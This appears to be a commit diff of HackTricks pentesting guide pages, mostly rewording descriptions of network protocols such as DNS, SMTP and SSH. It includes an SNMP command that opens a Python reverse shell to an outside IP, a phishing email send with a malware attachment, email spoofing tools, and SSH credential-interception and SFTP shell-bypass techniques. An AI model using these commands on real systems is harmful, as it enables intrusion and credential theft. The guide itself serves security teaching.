* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#testing-webview-protocol-handlers-mstg-platform-6)
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md](https://github.com/chame1eon/owasp-mstg/blob/master/Document/0x06h-Testing-Platform-Interaction.md)
<details>

2
network-services-pentesting/1414-pentesting-ibmmq.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

5
network-services-pentesting/43-pentesting-whois.md
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@ -17,7 +17,7 @@ Other ways to support HackTricks:
# Basic Information
**WHOIS** (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information. (From [here](https://en.wikipedia.org/wiki/WHOIS))
The **WHOIS** protocol serves as a standard method for **inquiring about the registrants or holders of various Internet resources** through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
**Default port:** 43
@ -56,7 +56,8 @@ Entry_1:
Name: Notes
Description: Notes for WHOIS
Note: |
WHOIS (pronounced as the phrase "who is") is a query and response protocol that is widely used for querying databases that store the registered users or assignees of an Internet resource, such as a domain name, an IP address block or an autonomous system, but is also used for a wider range of other information.
The WHOIS protocol serves as a standard method for inquiring about the registrants or holders of various Internet resources through specific databases. These resources encompass domain names, blocks of IP addresses, and autonomous systems, among others. Beyond these, the protocol finds application in accessing a broader spectrum of information.
https://book.hacktricks.xyz/pentesting/pentesting-smtp

2
network-services-pentesting/49-pentesting-tacacs+.md
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@ -16,7 +16,7 @@ Other ways to support HackTricks:
## Basic Information
**Terminal Access Controller Access Control System (TACACS)** is a security protocol that provides centralized validation of users who are attempting to gain **access to a router or NAS**. TACACS+, a more recent version of the original TACACS protocol, provides separate authentication, authorization, and accounting (AAA) services.
The **Terminal Access Controller Access Control System (TACACS)** protocol is used to centrally validate users trying to access routers or Network Access Servers (NAS). Its upgraded version, **TACACS+**, separates the services into authentication, authorization, and accounting (AAA).
```
PORT STATE SERVICE

4
network-services-pentesting/69-udp-tftp.md
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@ -17,9 +17,9 @@ Other ways to support HackTricks:
# Basic Information
**TFTP** uses UDP port 69 and **requires no authentication**—clients read from, and write to servers using the datagram format outlined in RFC 1350. Due to deficiencies within the protocol (namely lack of authentication and no transport security), it is uncommon to find servers on the public Internet. Within large internal networks, however, TFTP is used to serve configuration files and ROM images to VoIP handsets and other devices.
**Trivial File Transfer Protocol (TFTP)** is a straightforward protocol used on **UDP port 69** that allows file transfers without needing authentication. Highlighted in **RFC 1350**, its simplicity means it lacks key security features, leading to limited use on the public Internet. However, **TFTP** is extensively utilized within large internal networks for distributing **configuration files** and **ROM images** to devices such as **VoIP handsets**, thanks to its efficiency in these specific scenarios.
**TODO**: Provide information about what is a Bittorrent-tracker (Shodan identifies this port with that name). PLEASE, LET ME KNOW IF YOU HAVE SOME INFORMATION ABOUT THIS IN THE [**HackTricks telegram group**](https://t.me/peass) (or in a github issue in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**TODO**: Provide information about what is a Bittorrent-tracker (Shodan identifies this port with that name). If you have more info about this let us know for example in the [**HackTricks telegram group**](https://t.me/peass) (or in a github issue in [PEASS](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)).
**Default Port:** 69/UDP

2
network-services-pentesting/7-tcp-udp-pentesting-echo.md
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@ -41,7 +41,7 @@ Hello echo #This is the response
* `port:7 echo`
# References
## References
[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol)

27
network-services-pentesting/pentesting-dns.md
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@ -22,8 +22,7 @@ Other ways to support HackTricks:
## **Basic Information**
The Domain Name Systems (DNS) is the phonebook of the Internet. Humans access information online through domain names, like nytimes.com or espn.com. Web browsers interact through Internet Protocol (IP) addresses. DNS translates domain names to [IP addresses](https://www.cloudflare.com/learning/dns/glossary/what-is-my-ip-address/) so browsers can load Internet resources.\
From [here](https://www.cloudflare.com/learning/dns/what-is-dns/).
The **Domain Name System (DNS)** serves as the internet's directory, allowing users to access websites through **easy-to-remember domain names** like google.com or facebook.com, instead of the numeric Internet Protocol (IP) addresses. By translating domain names into IP addresses, the DNS ensures web browsers can quickly load internet resources, simplifying how we navigate the online world.
**Default port:** 53
@ -36,39 +35,33 @@ PORT STATE SERVICE REASON
### Different DNS Servers
- **DNS Root Server**
- The responsibility for the top-level domains (TLDs) is held by the DNS root servers. These servers are queried only if the name server fails to respond, serving as a central interface between users and Internet content by linking domains and IP addresses. The Internet Corporation for Assigned Names and Numbers (ICANN) coordinates the operation of these servers, of which there are 13 globally.
- **DNS Root Servers**: These are at the top of the DNS hierarchy, managing the top-level domains and stepping in only if lower-level servers do not respond. The Internet Corporation for Assigned Names and Numbers (**ICANN**) oversees their operation, with a global count of 13.
- **Authoritative Nameserver**
- Authority over a specific zone is held by authoritative name servers, which provide binding answers to queries within their responsibility area. Should these servers be unable to respond to a query, the root name server then assumes responsibility.
- **Authoritative Nameservers**: These servers have the final say for queries in their designated zones, offering definitive answers. If they can't provide a response, the query is escalated to the root servers.
- **Non-authoritative Nameserver**
- Responsibility for a particular DNS zone is not held by non-authoritative name servers. Instead, they acquire information on DNS zones through recursive or iterative querying.
- **Non-authoritative Nameservers**: Lacking ownership over DNS zones, these servers gather domain information through queries to other servers.
- **Caching DNS Server**
- Information from other name servers is cached for a predetermined period by caching DNS servers, with the authoritative name server setting the duration of this storage.
- **Caching DNS Server**: This type of server memorizes previous query answers for a set time to speed up response times for future requests, with the cache duration dictated by the authoritative server.
- **Forwarding Server**
- A singular function is performed by forwarding servers: the forwarding of DNS queries to another server.
- **Forwarding Server**: Serving a straightforward role, forwarding servers simply relay queries to another server.
- **Resolver**
- Performing name resolution locally in the computer or router, resolvers are not considered authoritative DNS servers.
- **Resolver**: Integrated within computers or routers, resolvers execute name resolution locally and are not considered authoritative.
## Enumeration
### **Banner Grabbing**
DNS does not have a "banner" to grab. The closest equivalent is a magic query for `version.bind. CHAOS TXT` which will work on most BIND nameservers.\
There aren't banners in DNS but you can gran the macgic query for `version.bind. CHAOS TXT` which will work on most BIND nameservers.\
You can perform this query using `dig`:
```bash
dig version.bind CHAOS TXT @DNS
```
If that does not work you can use fingerprinting techniques to determine the remote server's version -- the [`fpdns`](https://github.com/kirei/fpdns) tool is one option for that, but there are others.
Moreover, the tool [`fpdns`](https://github.com/kirei/fpdns) can also fingerprint the server.
You can grab the banner also with a **nmap** script:
It's also possible to grab the banner also with a **nmap** script:
```
--script dns-nsid

2
network-services-pentesting/pentesting-finger.md
View file

@ -16,7 +16,7 @@ Other ways to support HackTricks:
## **Basic Info**
**Finger** is a program you can use to find information about computer users. It usually lists the login name, the full name, and possibly other details about the user you are fingering. These details may include the office location and phone number (if known), login time, idle time, time mail was last read, and the user's plan and project files.
The **Finger** program/service is utilized for retrieving details about computer users. Typically, the information provided includes the **user's login name, full name**, and, in some cases, additional details. These extra details could encompass the office location and phone number (if available), the time the user logged in, the period of inactivity (idle time), the last instance mail was read by the user, and the contents of the user's plan and project files.
**Default port:** 79

6
network-services-pentesting/pentesting-ftp/README.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -22,7 +22,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
## Basic Information
The **File Transfer Protocol (FTP**) is a standard network protocol used for the transfer of computer files between a client and server on a computer network.\
The **File Transfer Protocol (FTP)** serves as a standard protocol for file transfer across a computer network between a server and a client.\
It is a **plain-text** protocol that uses as **new line character `0x0d 0x0a`** so sometimes you need to **connect using `telnet`** or **`nc -C`**.
**Default Port:** 21
@ -312,7 +312,7 @@ Entry_7:
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

2
network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-linux.md
View file

@ -27,7 +27,7 @@ The **keyctl system call**, introduced in kernel version 2.6.10, allows user spa
#### Ticket Extraction Tool: Tickey
Building on the principles of the **hercules.sh script**, the [**tickey**](https://github.com/TarlogicSecurity/tickey) tool is specifically designed for extracting tickets from keyrings, executed via `/tmp/tickey -i`.
# References
## References
* [**https://www.tarlogic.com/en/blog/how-to-attack-kerberos/**](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)

2
network-services-pentesting/pentesting-kerberos-88/harvesting-tickets-from-windows.md
View file

@ -48,7 +48,7 @@ Rubeus is a tool specifically tailored for Kerberos interaction and manipulation
When using these commands, ensure to replace placeholders like `<BASE64_TICKET>` and `<luid>` with the actual Base64 encoded ticket and Logon ID respectively. These tools provide extensive functionality for managing tickets and interacting with the security mechanisms of Windows.
# References
## References
* **[https://www.tarlogic.com/en/blog/how-to-attack-kerberos/](https://www.tarlogic.com/en/blog/how-to-attack-kerberos/)**​
<details>

4
network-services-pentesting/pentesting-pop.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -170,7 +170,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

2
network-services-pentesting/pentesting-remote-gdbserver.md
View file

@ -22,7 +22,7 @@ Other ways to support HackTricks:
## **Basic Information**
**gdbserver** is a computer program that makes it possible to remotely debug other programs. Running on the same system as the program to be debugged, it allows the **GNU Debugger to connect from another system**; that is, only the executable to be debugged needs to be resident on the target system ("target"), while the source code and a copy of the binary file to be debugged reside on the developer's local computer ("host"). The connection can be either TCP or a serial line.
**gdbserver** is a tool that enables the debugging of programs remotely. It runs alongside the program that needs debugging on the same system, known as the "target." This setup allows the **GNU Debugger** to connect from a different machine, the "host," where the source code and a binary copy of the debugged program are stored. The connection between **gdbserver** and the debugger can be made over TCP or a serial line, allowing for versatile debugging setups.
You can make a **gdbserver listen in any port** and at the moment **nmap is not capable of recognising the service**.

2
network-services-pentesting/pentesting-sap.md
View file

@ -305,7 +305,7 @@ bizploit> start
* [pysap](https://github.com/SecureAuthCorp/pysap) - Python library to craft SAP network protocol packets
* [https://github.com/gelim/nmap-erpscan](https://github.com/gelim/nmap-erpscan) - Help nmap to detect SAP/ERP
# References
## References
* [SAP Penetration Testing Using Metasploit](http://information.rapid7.com/rs/rapid7/images/SAP%20Penetration%20Testing%20Using%20Metasploit%20Final.pdf)
* [https://github.com/davehardy20/SAP-Stuff](https://github.com/davehardy20/SAP-Stuff) - a script to semi-automate Bizploit

4
network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -118,7 +118,7 @@ Find vulnerabilities that matter most so you can fix them faster. Intruder track
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

29
network-services-pentesting/pentesting-smtp/README.md
View file

@ -22,10 +22,9 @@ Other ways to support HackTricks:
## **Basic Information**
**SMTP (Simple Mail Transfer Protocol)** is a TCP/IP protocol used in **sending** and receiving **e-mail**. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server.
The **Simple Mail Transfer Protocol (SMTP)** is a protocol utilized within the TCP/IP suite for the **sending and receiving of e-mail**. Due to its limitations in queuing messages at the recipient's end, SMTP is often employed alongside either **POP3 or IMAP**. These additional protocols enable users to store messages on a server mailbox and to periodically download them.
In other words, **users typically use** a program that uses **SMTP for sending e-mail** and either **POP3 or IMAP for receiving** e-mail. On Unix-based systems, **sendmail** is the most widely-used SMTP server for e-mail. A commercial package, Sendmail, includes a POP3 server. **Microsoft Exchange** includes an SMTP server and can also be set up to include POP3 support.\
From [here](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol).
In practice, it is common for **e-mail programs** to employ **SMTP for sending e-mails**, while utilizing **POP3 or IMAP for receiving** them. On systems based on Unix, **sendmail** stands out as the SMTP server most frequently used for e-mail purposes. The commercial package known as Sendmail encompasses a POP3 server. Furthermore, **Microsoft Exchange** provides an SMTP server and offers the option to include POP3 support.
**Default port:** 25,465(ssl),587(ssl)
@ -203,18 +202,14 @@ Nmap: nmap --script smtp-enum-users <IP>
### Sending an Email from linux console
```
root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf
```bash
sendEmail -t to@domain.com -f from@attacker.com -s <ip smtp> -u "Important subject" -a /tmp/malware.pdf
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
IT Dept,
We are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.
Sincerely,
<phishing message>
```
```bash
@ -223,8 +218,6 @@ Sincerely,
### Sending an Email with Python
Here's alternative way to send an email with python script
```python
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
@ -285,6 +278,8 @@ Moreover, to reuse previous spf records it's quiet common to find something like
#### Mechanisms
From [Wikipedia](https://en.wikipedia.org/wiki/Sender_Policy_Framework):
| Mechanism | Description |
| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. |
@ -399,13 +394,15 @@ This makes sense - a subdomain may very well be in a different geographical loca
### **Open Relay**
The use of a **relay server trusted by the recipient** can be a strategy to ensure that sent emails are not marked as spam and reach their intended destination. However, it has been observed that administrators often lack a detailed understanding of the **IP** ranges that should be **permitted**. This gap in knowledge can lead to misconfigurations in the SMTP server, a vulnerability that is commonly uncovered during both external and internal penetration tests. To circumvent this issue and avoid inadvertently disrupting email communication with potential and existing customers, administrators may opt to **permit all IP addresses**. This approach is reflected in the configuration of the SMTP server, where the `mynetworks` parameter is set to allow connections from any IP address:
When emails are sent, ensuring they don't get flagged as spam is crucial. This is often achieved through the use of a **relay server that is trusted by the recipient**. However, a common challenge is that administrators might not be fully aware of which **IP ranges are safe to allow**. This lack of understanding can lead to mistakes in setting up the SMTP server, a risk frequently identified in security assessments.
A workaround that some administrators use to avoid email delivery issues, especially concerning communications with potential or ongoing clients, is to **allow connections from any IP address**. This is done by configuring the SMTP server's `mynetworks` parameter to accept all IP addresses, as shown below:
```bash
mynetworks = 0.0.0.0/0
```
In order to test for an open mail relay, a tool such as `nmap` can be utilized. This tool is employed to scan the targeted server for the possibility of it functioning as an open relay, which can be indicated by the open relay script `smtp-open-relay`. The following command demonstrates how `nmap` is used to scan port 25 on the server with the IP address 10.10.10.10, providing verbose output:
For checking whether a mail server is an open relay (which means it could forward email from any external source), the `nmap` tool is commonly used. It includes a specific script designed to test this. The command to conduct a verbose scan on a server (for example, with IP 10.10.10.10) on port 25 using `nmap` is:
```bash
nmap -p25 --script smtp-open-relay 10.10.10.10 -v
@ -421,11 +418,11 @@ nmap -p25 --script smtp-open-relay 10.10.10.10 -v
* [**https://www.mailsploit.com/index**](https://www.mailsploit.com/index)
* [**http://www.anonymailer.net/**](http://www.anonymailer.net)
* [**https://emkei.cz/**](https://emkei.cz/)\*\*\*\*
* [**https://emkei.cz/**](https://emkei.cz/)
**Or you could use a tool:**
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)\*\*\*\*
* [**https://github.com/magichk/magicspoofing**](https://github.com/magichk/magicspoofing)
```bash
# This will send a test email from test@victim.com to destination@gmail.com

6
network-services-pentesting/pentesting-snmp/cisco-snmp.md
View file

@ -7,7 +7,7 @@
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
@ -49,7 +49,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > set RHOSTS 10.10.100.10
msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
```
# References
## References
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
@ -60,7 +60,7 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** **🐦**[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
</details>

2
network-services-pentesting/pentesting-snmp/snmp-rce.md
View file

@ -62,7 +62,7 @@ Or a reverse shell:
snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 10.129.2.26 'nsExtendStatus."command10"' = createAndGo 'nsExtendCommand."command10"' = /usr/bin/python3.6 'nsExtendArgs."command10"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.84\",8999));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'
```
# References
## References
* [https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/](https://rioasmara.com/2021/02/05/snmp-arbitary-command-execution-and-shell/)

24
network-services-pentesting/pentesting-ssh.md
View file

@ -22,7 +22,7 @@ If you are interested in **hacking career** and hack the unhackable - **we are h
## Basic Information
**SSH or Secure Shell or Secure Socket Shell,** is a network protocol that gives users a **secure way to access a computer over an unsecured network.**
**SSH (Secure Shell or Secure Socket Shell)** is a network protocol that enables a secure connection to a computer over an unsecured network. It is essential for maintaining the confidentiality and integrity of data when accessing remote systems.
**Default port:** 22
@ -189,9 +189,9 @@ If you are in the local network as the victim which is going to connect to the S
**Attack path:**
* user traffic is redirected to the attacking machine
* the attacker monitors attempts to connect to the SSH server and redirects them to its SSH server
* the attacker's SSH server is configured, firstly, to log all entered data, including the user's password, and, secondly, send commands to the legitimate SSH server to which the user wants to connect, to execute them, and then return the results to the legitimate user
* **Traffic Redirection:** The attacker **diverts** the victim's traffic to their machine, effectively **intercepting** the connection attempt to the SSH server.
* **Interception and Logging:** The attacker's machine acts as a **proxy**, **capturing** the user's login details by pretending to be the legitimate SSH server.
* **Command Execution and Relay:** Finally, the attacker's server **logs the user's credentials**, **forwards the commands** to the real SSH server, **executes** them, and **sends the results back** to the user, making the process appear seamless and legitimate.
[**SSH MITM**](https://github.com/jtesta/ssh-mitm) does exactly what is described above.
@ -214,14 +214,14 @@ It's completely self-replicating and self-propagating -- and completely fileless
### Root login
By default most SSH server implementation will allow root login, it is advised to disable it because if the credentials of this accounts leaks, attackers will get administrative privileges directly and this will also allow attackers to conduct bruteforce attacks on this account.
It's common for SSH servers to allow root user login by default, which poses a significant security risk. **Disabling root login** is a critical step in securing the server. Unauthorized access with administrative privileges and brute force attacks can be mitigated by making this change.
**How to disable root login for openSSH:**
**To Disable Root Login in OpenSSH:**
1. Edit SSH server configuration `sudoedit /etc/ssh/sshd_config`
2. Change `#PermitRootLogin yes` into `PermitRootLogin no`
3. Take into account configuration changes: `sudo systemctl daemon-reload`
4. Restart the SSH server `sudo systemctl restart sshd`
1. **Edit the SSH config file** with: `sudoedit /etc/ssh/sshd_config`
2. **Change the setting** from `#PermitRootLogin yes` to **`PermitRootLogin no`**.
3. **Reload the configuration** using: `sudo systemctl daemon-reload`
4. **Restart the SSH server** to apply changes: `sudo systemctl restart sshd`
### SFTP Brute Force
@ -229,7 +229,9 @@ By default most SSH server implementation will allow root login, it is advised t
### SFTP command execution
Another common SSH misconfiguration is often seen in SFTP configuration. Most of the time when creating a SFTP server the administrator want users to have a SFTP access to share files but not to get a remote shell on the machine. So they think that creating a user, attributing him a placeholder shell (like `/usr/bin/nologin` or `/usr/bin/false`) and chrooting him in a jail is enough to avoid a shell access or abuse on the whole file system. But they are wrong, **a user can ask to execute a command right after authentication before it’s default command or shell is executed**. So to bypass the placeholder shell that will deny shell access, one only has to ask to execute a command (eg. `/bin/bash`) before, just by doing:
There is a common oversight occurs with SFTP setups, where administrators intend for users to exchange files without enabling remote shell access. Despite setting users with non-interactive shells (e.g., `/usr/bin/nologin`) and confining them to a specific directory, a security loophole remains. **Users can circumvent these restrictions** by requesting the execution of a command (like `/bin/bash`) immediately after logging in, before their designated non-interactive shell takes over. This allows for unauthorized command execution, undermining the intended security measures.
[Example from here](https://community.turgensec.com/ssh-hacking-guide/):
```bash
ssh -v noraj@192.168.1.94 id

3
network-services-pentesting/pentesting-telnet.md
View file

